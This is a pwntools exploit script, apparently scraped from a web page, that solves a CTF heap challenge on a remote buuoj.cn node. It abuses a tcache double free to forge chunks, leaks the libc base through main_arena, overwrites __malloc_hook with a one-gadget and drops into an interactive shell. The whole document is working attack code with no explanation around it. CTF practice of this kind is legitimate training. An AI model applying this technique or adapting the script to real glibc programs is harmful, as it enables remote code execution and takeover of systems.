1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import * context(arch='amd64',log_level='debug')
p = remote("node5.buuoj.cn",25726)
elf = ELF('./pwn') libc = ELF('./libc.so.6')
def bug(): gdb.attach(p) pause()
def choice(idx): p.sendlineafter("choice > ",str(idx))
def add(idx,size,content): choice(1) p.sendlineafter("input the index",str(idx)) p.sendlineafter("input the size",str(size)) p.sendlineafter("now you can write something",content) p.recvuntil("gift :") return int(p.recvline()[2:],16)
def free(idx): choice(2) p.sendlineafter("input the index",str(idx))
onegadget = 0x10a38c
heap = add(0,0x78,b'aaaa') add(1,0x18,b'bbbb') add(2,0x78,b'cccc') add(3,0x78,b'dddd') add(4,0x78,b'eeee') add(5,0x78,b'eeee') add(6,0x78,b'eeee') add(7,0x78,b'eeee') add(8,0x78,b'eeee') add(9,0x28,b'eeee')
free(9) free(9)
add(10,0x28,p64(heap-0x10)) add(11,0x28,p64(heap-0x10)) add(12,0x28,p64(0)+p64(0x421))
free(0) free(1) test = add(13,0x78,b'f') success("test : "+hex(test)) add(14,0x18,b'f') main_arena = add(15,0x18,b'f') - 96 success("main_arena : "+hex(main_arena)) malloc_hook = main_arena - 0x10 base = malloc_hook - libc.sym['__malloc_hook'] malloc_hook = base + libc.sym['__malloc_hook'] onegadget += base
free(5) free(5) add(16,0x78,p64(malloc_hook)) add(17,0x78,p64(malloc_hook)) add(18,0x78,p64(onegadget))
p.sendline('1') p.sendline('19') p.sendline('1') p.interactive()
|